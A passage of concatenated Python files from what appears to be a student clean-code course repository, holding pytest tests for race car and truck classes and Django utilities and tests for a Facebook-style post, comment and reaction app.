user_id = User.objects.get(name = 'user1').id
comment_id = Comment.objects.get(content = 'comment1').id
invalid_reply_content = ''
# Act
with pytest.raises(InvalidReplyContent) as e: # Asserting the exception
assert reply_to_comment(user_id, comment_id, invalid_reply_content)
"""
"""
"""""
# task 1
test_user_construction_object_when_invalid_raises_exception
test_post_construction_object_when_invalid_raises_exception
test_comment_construction_object_when_invalid_raises_exception
test_reaction_construction_object_when_invalid_raises_exception
# task 10
test_create_post_when_user_is_inavlid_raises_inavlid_user_exception
test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception
test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id
# task 3
test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception
test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception
test_create_comment_when_valid_user_id_and_comment_content_are_given_returns_created_comment_id
# task 4
test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception
test_reply_to_comment_if_comment_id_corresponds_to_reply_create_post_object_returns_created_comment_id
# task 5
test_react_to_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 6
test_react_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_comment_create_reaction_if_user_is_reacting_to_comment_for_first_time_with_valid_details_creates_reaction_object
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 7
test_get_total_reaction_count_if_user_reactions_are_available_returns_total_reactions_count_in_dictionary
test_get_total_reaction_count_if_user_reactions_are_unavailable_returns_total_reactions_count_with_zero_value_in_dictionary
# task 8
test_get_reaction_metrics_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reaction_metrics_if_post_has_reactions_returns_total_number_of_reactions_for_each_reaction_type_in_dictionary
test_get_reaction_metrics_if_post_has_no_reactions_returns_empty_dictionary
# task 9
test_delete_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_delete_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_delete_post_when_user_is_not_the_creator_of_post_raises_user_cannot_delete_post_exception
test_delete_post_when_user_is_the_creator_of_post_delete_the_post_object
# task 10
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_greater_than_negative_reactions_of_post_returns_post_ids_of_posts_in_list
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_not_greater_than_negative_reactions_of_post_returns_empty_list
# task 11
test_get_posts_reacted_by_user_when_user_id_is_inavlid_raises_inavlid_user_exception
test_get_posts_reacted_by_user_when_user_reacts_to_posts_returns_post_ids_of_user_reacted_posts_in_list
test_get_posts_reacted_by_user_when_user_does_not_react_to_any_posts_returns_empty_list
# task 110
test_get_reactions_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reactions_to_post_if_post_has_reactions_returns_list_of_dictionaries_of_user_details_of_post
test_get_reactions_to_post_if_post_has_no_reactions_returns_empty_list
"""""<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_encapsulation.py
import pytest
######## *********** Testing Encapusulation *********** ########
def test_encapsulation_of_race_car_object_color(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.color = 'Black'
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_acceleration(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.acceleration = 20
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_max_speed(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.max_speed = 400
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_tyre_friction(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.tyre_friction = 40
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_is_engine_started(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.is_engine_started = True
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_current_speed(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.current_speed = 300
# Assert
assert str(exception.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_nitro(race_car):
# Act
with pytest.raises(Exception) as exception:
race_car.nitro = 100
# Assert
assert str(exception.value) == "can't set attribute"
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_posts_with_more_positive_reactions.py
from django.db.models import Count, Q, F
from fb_post.models import Reaction
from fb_post.constants import ReactionType
# Task 10
def get_posts_with_more_positive_reactions():
positive_reactions = [
ReactionType.THUMBS_UP.value,
ReactionType.LIT.value,
ReactionType.LOVE.value,
ReactionType.HAHA.value,
ReactionType.WOW.value
]
negative_reactions = [
ReactionType.SAD.value,
ReactionType.ANGRY.value,
ReactionType.THUMBS_DOWN.value
]
no_of_positive_reactions = Count('reaction',
filter=Q(reaction__in=positive_reactions))
no_of_negative_reactions = Count('reaction',
filter=Q(reaction__in=negative_reactions))
posts_with_more_positive_reactions_list = list(
Reaction.objects
.annotate(positive_count=no_of_positive_reactions,
negative_count=no_of_negative_reactions)
.filter(positive_count__gt=F('negative_count'))
.values_list('post_id',flat=True)
.distinct())
return posts_with_more_positive_reactions_list
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_apply_breaks.py
import pytest
from truck import Truck
def test_apply_brakes_when_truck_object_is_in_motion_returns_current_speed(truck):
# Arrange
truck.start_engine()
truck.accelerate()
truck.accelerate()
current_speed = 70
# Act
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction,
max_cargo_weight, current_speed""", [
('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 0),
('Black', 250, 20, 30, 100, 0)])
def test_apply_breaks_when_truck_object_current_speed_is_more_than_or_equal_to_truck_object_tyre_friction_returns_current_speed(color, max_speed, acceleration, tyre_friction, max_cargo_weight, current_speed):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
truck.accelerate()
# Act
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed
def test_apply_breaks_when_truck_object_current_speed_is_less_than_truck_object_tyre_friction_returns_zero():
# Arrange
truck = Truck(color='Red', max_speed=200, acceleration=40,
tyre_friction=15, max_cargo_weight=80)
truck.start_engine()
truck.accelerate()
current_speed_when_less_than_tyre_friction = 0
# Act
truck.apply_brakes()
truck.apply_brakes()
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed_when_less_than_tyre_friction
def test_apply_breaks_when_truck_object_current_speed_is_equal_to_truck_object_tyre_friction_returns_current_speed():
# Arrange
truck = Truck(color='Red', max_speed=200, acceleration=40,
tyre_friction=10, max_cargo_weight=90)
truck.start_engine()
truck.accelerate()
current_speed = 10
# Act
truck.apply_brakes()
truck.apply_brakes()
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_replies_for_comment.py
import pytest
from fb_post.exceptions import InvalidCommentException
from fb_post.utils import get_replies_for_comment
pytestmark = pytest.mark.django_db
def test_get_replies_for_comment_when_comment_id_is_invalid_raises_invalid_comment_exception(reply):
# Arrange
comment_id = 100
# Act
with pytest.raises(InvalidCommentException):
assert get_replies_for_comment(comment_id)
def test_get_replies_for_comment_with_valid_comment_id_returns_list_of_dictionaries_of_comment_details_with_commenter_details(reply):
# Arrange
comment_id = 1
list_of_dict_of_comment_details = [
{
'comment_id': 7,
'commenter': {'user_id': 2, 'name': 'user2',
'profile_pic': 'user2_pic'},
'commented_at': "2012-09-10 00:00:00.000000",
'comment_content': 'reply_to_comment1 by 2'}]
# Act
get_list_of_comment_details_dict = get_replies_for_comment(comment_id)
# Assert
assert list_of_dict_of_comment_details == get_list_of_comment_details_dict
def test_get_replies_for_comment_with_valid_comment_id_having_no_replies_returns_empty_list(reply):
# Arrange
comment_id = 7
list_of_dict_of_comment_details = []
# Act
get_list_of_comment_details_dict = get_replies_for_comment(comment_id)
# Assert
assert list_of_dict_of_comment_details == get_list_of_comment_details_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_total_reaction_count.py
from django.db.models import Count
from fb_post.models import Reaction
def get_total_reaction_count():
dict_of_count_reactions = Reaction.objects.aggregate(count=Count(
'reaction'))
return dict_of_count_reactions
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/test_race_car.py
import pytest
from race_car import RaceCar
@pytest.fixture
def race_car(): # Our Fixture function
# Arrange
color = 'Red'
max_speed = 200
acceleration = 40
tyre_friction = 10
race_car_obj = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
return race_car_obj
########### Testing wether One object is creating ###########
def test_race_car_creating_one_race_car_object_with_given_instances_creates_race_car_object():
# Arrange
color = 'Black'
max_speed = 200
acceleration = 30
tyre_friction = 7
car_obj = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Act
result = isinstance(car_obj, RaceCar)
# Assert
assert result is True
########### Testing wether Multiple objects are creating ###########
def test_race_car_creating_multiple_race_car_objects_with_given_instances_creates_race_car_objects():
# Arrange
race_car_obj1 = RaceCar(color='Red', max_speed=250, acceleration=50,
tyre_friction=10)
race_car_obj2 = RaceCar(color='Black', max_speed=200, acceleration=40,
tyre_friction=7)
# Act
creation_of_race_car_object1 = isinstance(race_car_obj1, RaceCar)
creation_of_race_car_object2 = isinstance(race_car_obj2, RaceCar)
result = race_car_obj1 == race_car_obj2
# Assert
assert creation_of_race_car_object1 is True
assert creation_of_race_car_object2 is True
assert result is False
########### Testing the class Atrribute values Formats ###########
def test_race_car_object_color_when_color_type_is_invalid_raises_exception():
"""test that exception is raised for invalid color format"""
# Arrange
from race_car import RaceCar
color = 1
max_speed = 30
acceleration = 10
tyre_friction = 3
# Act
with pytest.raises(Exception) as e:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(e.value) == "Invalid value for color"
## Testing Exceptions of Atrribute values if not Positive type and Non-Zero ##
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction", [
(-1, 10, 3), (0, 30, 10), ('1', 30, 20)])
def test_race_car_object_max_speed_when_max_speed_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(e.value) == 'Invalid value for max_speed'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction", [
(210, '10', 3), (100, 0, 10), (180, -30, 20)])
def test_race_car_object_acceleration_when_acceleration_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(e.value) == 'Invalid value for acceleration'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction", [
(210, 30, '10'), (100, 20, -1), (180, 40, 0)])
def test_race_car_object_tyre_friction_when_tyre_friction_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
# Assert
assert str(e.value) == 'Invalid value for tyre_friction'
########### ******** Multiple Testings ******** ###########
def test_race_car_object_when_engine_is_started_returns_true(race_car):
# Arrange
race_car.start_engine()
# Act
car_engine_start = race_car.is_engine_started
# Assert
assert car_engine_start is True
def test_race_car_object_when_engine_is_started_twice_returns_true(race_car):
# Arrange
race_car.start_engine()
race_car.start_engine()
# Act
car_engine_start = race_car.is_engine_started
# Assert
assert car_engine_start is True
def test_race_car_object_when_engine_is_stop_returns_false(race_car):
# Arrange
race_car.stop_engine()
# Act
car_engine_stop = race_car.is_engine_started
# Assert
assert car_engine_stop is False
def test_race_car_object_when_engine_is_stop_twice_returns_false(race_car):
# Arrange
race_car.stop_engine()
race_car.stop_engine()
# Act
car_engine_stop = race_car.is_engine_started
# Assert
assert car_engine_stop is False
def test_race_car_object_accelerate_when_engine_is_started_returns_current_speed(race_car):
# Arrange
race_car.start_engine()
current_speed = 40
# Act
race_car.accelerate()
# Assert
assert race_car.current_speed == current_speed
def test_race_car_object_accelerate_when_race_car_object_current_speed_is_equal_to_race_car_object_max_speed_limit_returns_max_speed(race_car):
# Arrange
race_car.start_engine()
max_speed = 200
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
# Act
race_car.accelerate()
# Assert
assert race_car.current_speed == max_speed
# ***** New capsys terminology ******* #
def test_race_car_object_accelerate_when_race_car_engine_is_stop_returns_start_the_engine_to_accelerate(capsys, race_car):
# Act
race_car.accelerate()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to accelerate\n'
def test_race_car_object_sound_horn_when_engine_is_started_returns_Beep_Beep(capsys, race_car):
# Arrange
race_car.start_engine()
# Act
race_car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Peep Peep\nBeep Beep\n'
def test_race_car_object_sound_horn_when_engine_is_stop_returns_start_the_engine_to_sound_horn(capsys, race_car):
# Act
race_car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to sound_horn\n'
######## *********** Testing Encapusulation *********** ########
def test_encapsulation_of_race_car_object_color(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.color = 'Black'
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_acceleration(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.acceleration = 20
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_max_speed(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.max_speed = 400
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_tyre_friction(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.tyre_friction = 40
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_is_engine_started(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.is_engine_started = True
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_current_speed(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.current_speed = 300
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_race_car_object_nitro(race_car):
# Act
with pytest.raises(Exception) as e:
race_car.nitro = 100
# Assert
assert str(e.value) == "can't set attribute"
#-------------------------------------------------------#
@pytest.mark.parametrize(
"color, max_speed, acceleration, tyre_friction, current_speed", [
('Red', 1, 1, 1, 1), ('Blue', 150, 30, 10, 20),
('Black', 200, 40, 10, 30)])
def test_race_car_object_accelerate_when_race_car_object_current_speed_is_more_than_race_car_object_max_speed_limit_and_nitro_is_zero_returns_max_speed(color, max_speed, acceleration, tyre_friction, current_speed):
# Arrange
race_car = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
# Act
race_car.accelerate()
# Asset
assert race_car.current_speed == max_speed
def test_race_car_object_current_speed_when_race_car_object_is_in_idle_postion_intially_and_nitro_is_zero_returns_zero():
# Arrange
race_car = RaceCar(color='Red', max_speed=180, acceleration=45,
tyre_friction=4)
# Act
race_car_idle_initial_speed = race_car.current_speed
# Act
assert race_car_idle_initial_speed == 0
def test_race_car_object_current_speed_when_race_car_object_engine_is_stopped_from_motion_and_nitro_is_zero_returns_current_speed():
# Arrange
race_car = RaceCar(color='Red', max_speed=180, acceleration=45,
tyre_friction=4)
race_car.start_engine()
current_speed = 135
race_car.accelerate()
race_car.accelerate()
race_car.accelerate()
# Act
race_car.stop_engine()
# Assert
assert race_car.current_speed == current_speed
def test_apply_brakes_when_race_car_object_is_in_motion_returns_current_speed(race_car):
# Arrange
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
current_speed = 70
# Act
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed
@pytest.mark.parametrize(
"color,max_speed, acceleration, tyre_friction, current_speed", [
('Red', 200, 50, 20, 30), ('Blue', 150, 25, 25, 0)])
def test_apply_breaks_when_race_car_object_current_speed_is_more_than_or_equal_to_race_car_object_tyre_friction_returns_current_speed(color, max_speed, acceleration, tyre_friction, current_speed):
# Arrange
race_car = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
race_car.start_engine()
race_car.accelerate()
# Act
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed
def test_apply_breaks_when_race_car_object_current_speed_is_less_than_race_car_object_tyre_friction_returns_zero():
# Arrange
race_car = RaceCar(color='Red', max_speed=200, acceleration=40,
tyre_friction=15)
race_car.start_engine()
race_car.accelerate()
current_speed_when_less_than_tyre_friction = 0
race_car.apply_brakes()
race_car.apply_brakes()
# Act
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed_when_less_than_tyre_friction
def test_apply_breaks_when_race_car_object_current_speed_is_equal_to_race_car_object_tyre_friction_returns_current_speed():
# Arrange
race_car = RaceCar(color='Red', max_speed=200, acceleration=40,
tyre_friction=10)
race_car.start_engine()
race_car.accelerate()
current_speed = 10
race_car.apply_brakes()
race_car.apply_brakes()
# Act
race_car.apply_brakes()
# Assert
assert race_car.current_speed == current_speed
@pytest.mark.parametrize(
"color,max_speed, acceleration, tyre_friction, current_speed, nitro_value",
[('Red', 200, 60, 10, 110, 10), ('Blue', 150, 55, 25, 85, 10),
('Black', 21, 5, 5, 5, 0), ('Green', 100, 20, 10, 30, 0)])
def test_nitro_of_race_car_when_race_car_apply_breaks_after_accelerating_half_more_than_max_speed_returns_current_speed(color, max_speed, acceleration, tyre_friction, current_speed, nitro_value):
# Arrange
race_car = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
race_car.apply_brakes()
# Act
nitro = race_car._nitro
# Assert
assert nitro == nitro_value
assert race_car.current_speed == current_speed
@pytest.mark.parametrize(
"color,max_speed, acceleration, tyre_friction, current_speed, nitro_value",
[('Red', 200, 60, 10, 188, 0), ('Blue', 155, 55, 25, 155, 0)])
def test_nitro_and_current_speed_of_race_car_when_race_car_apply_breaks_after_accelerating_half_more_than_max_speed_and_then_accelerate_returns_current_speed(color, max_speed, acceleration, tyre_friction, current_speed, nitro_value):
# Arrange
race_car = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
race_car.apply_brakes()
race_car.accelerate()
# Act
nitro = race_car._nitro
# Assert
assert nitro == nitro_value
assert race_car.current_speed == current_speed
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_start_or_stop.py
def test_truck_object_when_engine_is_started_returns_true(truck):
# Arrange
truck.start_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is True
def test_truck_object_when_engine_is_started_twice_returns_true(truck):
# Arrange
truck.start_engine()
truck.start_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is True
def test_truck_object_when_engine_is_stop_returns_false(truck):
# Arrange
truck.stop_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is False
def test_truck_object_when_engine_is_stop_twice_returns_false(truck):
# Arrange
truck.stop_engine()
truck.stop_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is False
<file_sep>/covid_extra_py_files/test_add_data_for_state_daily_wise_report_interactor.py
# import pytest
# from datetime import date
# from unittest.mock import create_autospec
# from django_swagger_utils.drf_server.exceptions import NotFound
# from covid_dashboard.interactors. \
# add_data_for_state_daily_wise_report_interactor import \
# AddDataForStateDailyWiseReportInteractor
# from covid_dashboard.interactors.storages.state_storage_interface \
# import StateStorageInterface
# from covid_dashboard.interactors.presenters.presenter_interface \
# import PresenterInterface
# from covid_dashboard.interactors.storages.dtos \
# import DailyStateWiseReportDto, DailyStateReportDto
# from covid_dashboard.exceptions.exceptions import InvalidStateIdException
# def test_with_invalid_state_id_raises_exceptions():
# # Arrange
# state_id = "gv"
# total_confirmed_cases = 90
# total_deaths = 6
# total_recovered_cases = 4
# storage = create_autospec(StateStorageInterface)
# presenter = create_autospec(PresenterInterface)
# storage.validate_state_id.side_effect = InvalidStateIdException
# presenter.raise_state_exception_if_state_id_is_invalid. \
# side_effect = NotFound
# interactor = AddDataForStateDailyWiseReportInteractor(
# state_storage=storage,
# presenter=presenter)
# # Act
# with pytest.raises(NotFound):
# interactor.add_data_for_state_daily_wise_report(
# state_id=state_id,
# total_confirmed_cases=total_confirmed_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases)
# def test_add_data_for_state_daily_report_with_valid_details(
# state_dtos,
# daily_state_wise_report_dtos,
# get_deatils_for_daily_state_wise_report):
# # Arrange
# state_id = 1
# total_confirmed_cases = 90
# total_deaths = 6
# total_recovered_cases = 4
# select_date_for_details = date.today()
# state_name = "AndharaPradesh"
# expected_details_of_daily_state_wise_report_dict = \
# get_deatils_for_daily_state_wise_report
# storage = create_autospec(StateStorageInterface)
# presenter = create_autospec(PresenterInterface)
# interactor = AddDataForStateDailyWiseReportInteractor(
# state_storage=storage,
# presenter=presenter)
# daily_state_report = DailyStateReportDto(
# total_confirmed_cases=total_confirmed_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases
# )
# daily_state_wise_report_dto = DailyStateWiseReportDto(
# date=select_date_for_details,
# state_name=state_name,
# daily_state_report=daily_state_report
# )
# storage.add_data_for_state_daily_wise_report. \
# return_value = daily_state_wise_report_dto
# presenter.get_response_add_data_for_state_daily_wise_report. \
# return_value = expected_details_of_daily_state_wise_report_dict
# # Act
# details_of_daily_state_wise_report_dict = interactor. \
# add_data_for_state_daily_wise_report(
# state_id=state_id,
# total_confirmed_cases=total_confirmed_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases)
# # Assert
# assert details_of_daily_state_wise_report_dict == \
# expected_details_of_daily_state_wise_report_dict
# storage.validate_state_id.assert_called_once_with(state_id=state_id)
# presenter.get_response_add_data_for_state_daily_wise_report. \
# assert_called_once_with(
# daily_state_wise_report_dto=daily_state_wise_report_dto)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_delete_post.py
import pytest
from fb_post.exceptions import InvalidUserException, InvalidPostException
from fb_post.exceptions import UserCannotDeletePostException
from fb_post.models import Post
from fb_post.utils import delete_post
pytestmark = pytest.mark.django_db
def test_delete_post_when_user_id_is_invalid_raises_invalid_user_exception(post):
# Arrange
user_id = 100
post_id = 2
# Act
with pytest.raises(InvalidUserException):
assert delete_post(user_id, post_id)
def test_delete_post_when_post_id_is_invalid_raises_invalid_post_exception(post):
# Arrange
user_id = 1
post_id = 200
# Act
with pytest.raises(InvalidPostException):
assert delete_post(user_id, post_id)
@pytest.mark.parametrize('user_id, post_id', [(5, 1), (1, 5)])
def test_delete_post_when_user_is_not_the_creator_of_post_raises_user_cannot_delete_post_exception(user_id, post_id, post):
# Act
with pytest.raises(UserCannotDeletePostException):
assert delete_post(user_id, post_id)
def test_delete_post_when_user_is_the_creator_of_post_delete_the_post_object(post):
# Arrange
user_id = 1
post_id = 1
# Act
delete_post(user_id, post_id)
# Assert
post_object = Post.objects.filter(id=post_id, posted_by_id=user_id)
assert post_object.exists() is False
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/check_returned_and_excepted_arguments.py
def is_excepted_and_returned_output_of_posts_equal(returned_list,
expected_list):
if returned_list:
for index in range(len(returned_list)):
check_posts(returned_list[index], expected_list[index])
else:
assert returned_list == expected_list
return True
def check_posts(returned_list, expected_list):
assert returned_list['post_id'] == expected_list['post_id']
assert returned_list['posted_by']['user_id'] == expected_list[
'posted_by']['user_id']
assert returned_list['posted_by']['name'] == expected_list[
'posted_by']['name']
assert returned_list['posted_by']['profile_pic'] == expected_list[
'posted_by']['profile_pic']
assert returned_list['posted_at'] == expected_list['posted_at']
assert returned_list['post_content'] == expected_list['post_content']
assert returned_list['reactions'] == expected_list['reactions']
assert check_comments(returned_list['comments'], expected_list['comments'])
assert returned_list['comments_count'] == expected_list['comments_count']
return True
def check_comments(returned, expected):
if returned:
for index in range(len(returned)):
assert_statements_of_comments(returned[index], expected[index])
else:
assert returned == expected
return True
def check_reactions(returned, expected):
assert returned['count'] == expected['count']
assert returned['type'] == expected['type']
return True
def assert_statements_of_comments(returned, expected):
assert returned['comment_id'] == expected['comment_id']
assert returned['commenter']['user_id'] == expected['commenter'][
'user_id']
assert returned['commenter']['name'] == expected['commenter']['name']
assert returned['commenter']['profile_pic'] == expected['commenter'][
'profile_pic']
assert returned['comment_content'] == expected['comment_content']
assert check_reactions(returned['reactions'], expected['reactions'])
assert returned['replies_count'] == expected['replies_count']
assert check_replies(returned['replies'], expected['replies'])
return True
def check_replies(returned, expected):
if returned:
for index in range(len(returned)):
assert_statements_of_replies_for_comments(returned[index],
expected[index])
else:
assert returned == expected
return True
def assert_statements_of_replies_for_comments(returned, expected):
assert returned['comment_id'] == expected['comment_id']
assert returned['commenter']['user_id'] == expected['commenter'][
'user_id']
assert returned['commenter']['name'] == expected['commenter']['name']
assert returned['commenter']['profile_pic'] == expected['commenter'][
'profile_pic']
assert returned['comment_content'] == expected['comment_content']
assert check_reactions(returned['reactions'], expected['reactions'])
return True
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_delete_post.py
from fb_post.models import Post
from .fb_post_exception_methods import (
check_whether_user_id_exists,
return_post_if_post_id_exists,
check_whether_user_is_creator_of_post
)
def delete_post(user_id, post_id):
check_whether_user_id_exists(user_id)
post = return_post_if_post_id_exists(post_id)
check_whether_user_is_creator_of_post(post.posted_by_id, user_id)
post.delete()
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_invalid_type.py
import pytest
from truck import Truck
########### Testing the class Atrribute values Formats ###########
def test_truck_object_color_when_color_type_is_invalid_raises_exception():
"""test that exception is raised for invalid color format"""
# Arrange
color = 1
max_speed = 30
acceleration = 10
tyre_friction = 3
max_cargo_weight = 150
# Act
with pytest.raises(Exception) as exception:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(exception.value) == "Invalid value for color"
# Testing Exceptions of Atrribute values if not Positive type and Non-Zero #
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(-1, 10, 3, 200), (0, 30, 10, 150), ('1', 30, 20, 200)])
def test_truck_object_max_speed_when_max_speed_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(exception.value) == 'Invalid value for max_speed'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(210, '10', 3, 150), (100, 0, 10, 180), (180, -30, 20, 170)])
def test_truck_object_acceleration_when_acceleration_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(exception.value) == 'Invalid value for acceleration'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(210, 30, '10', 160), (100, 20, -1, 200), (180, 40, 0, 100)])
def test_truck_object_tyre_friction_when_tyre_friction_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as exception:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(exception.value) == 'Invalid value for tyre_friction'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(210, 30, 10, '160'), (100, 20, 1, -1), (180, 40, 10, 0)])
def test_truck_object_max_cargo_when_max_cargo_type_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
